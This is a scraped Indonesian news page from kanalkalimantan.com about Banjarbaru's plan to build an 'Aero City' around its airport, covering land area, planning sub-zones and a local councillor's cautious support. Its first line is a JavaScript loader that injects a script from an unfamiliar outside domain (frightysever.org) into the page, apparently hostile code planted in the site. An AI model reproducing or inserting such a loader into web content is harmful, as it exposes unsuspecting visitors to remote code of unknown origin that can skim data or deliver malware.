(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru adalah satu dari 10 kota yang akan membangun konsep Aero City atau Kota (Kawasan) berbasis udara.
Walaupun saat ini pembangunan aero city tidak menjadi prioritas RPJMN, Pemko Banjarbaru terus mendorong dalam Raperpres Banjarbakula.
Konsep yang ditetapkan sebagai sentral percepatan khususnya di bidang ekonomi, yang merupakan program nasional dan daerah. Dalam kegiatan pengembangan Kota Baru ini, Pemerintah Kota Banjarbaru telah menetapkan bahwa kawasan ini akan mengiring tema “Aero City”, yakni kawasan yang akan terintegrasi dan memanfaatkan keberadaan bandara sebagai daya ungkit pertumbuhan wilayah.
Di daerah Kota Banjarbaru Aero City sudah dibangun pada masa Wali Kota Nadjmi Adhani pada tahun 2018 dengan masterplan dibantu oleh Kementerian PUPR. Akan tetapi di tahun selanjutnya di serahkan pembangunan ke Pemko Banjarbaru dengan konsep Banjarbakula tetap mendorong masuk ke Raperpres Banjarbakula.
Baca juga : Tahukah Kamu Kenapa Tubuh Perlu Air Putih
Kepala Bidang Fisik Prasarana Badan Perencanaan Pembangunan Daerah (Bappeda) Kota Banjarbaru Erwin menerangkan, di Banjarbaru sendiri akan di bangun Aero City di lahan 5.620,08 hektare.
“Dari total keseluruhan total lahan 5.620,08 hektare kami bagi menjadi 6 Sub BWP dengan tema masing-masing terhadap pengembangannya,” jelasnya, Rabu (3/11/2021).
Diterangkan Erwin dari 6 sub BWP, pihaknya sudah menyusun perencanaan di 3 sub BWP. Kemudian, ditahun ini direncanakan akan melakukan penyusunan masterplan dan siteplan pada sub BWP 4 dan 1.
“Secara keseluruhan konsep sudah jadi masterplannya yang disusun Kementerian, karena diawal ada beberapa konsep yang dibantu oleh pusat terkait infrastruktur pemukiman pada kawasan Aero City,” ujarnya.
Baca juga : Calon Tunggal Panglima TNI, Jenderal Andika Punya Kekayaan Sebesar Rp179,9 Miliar
Pada tahun 2022, kata Erwin berdasarkan kajian terdahulu akan memfokuskan pada pembangunan pada Sub BWP 1, karena menjadi bagian utama dari jalan Lingkar Utara dan jalan utama masuk ke Bandara.
“Pembangunan akan kita lakukan secara bertahap,” pungkasnya.
Dituturkan Erwin dalam Aero City akan meliputi Kecamatan Landasan Ulin, Kecamatan Liang Anggang dan sebagian Kecamatan Banjarbaru Utara.
Sementara itu, Anggota Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru, Norkhalis Anshari mengatakan dirinya sangat mendukung dalam pembangunan Aero City ini. Tetapi harus dikaji benar-benar agar tidak terjadi hal-hal yang tidak diinginkan.
“Kita sangat mendukung Aero City ini, tetapi dalam kondisi kita saat apakah memungkinkan terus dilanjutkan, apakah masuk dari RPJMD dan hal-hal lainnya yang menjadi pertimbangan untuk melaksanakan program tersebut,” pungkasnya. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
This website uses cookies.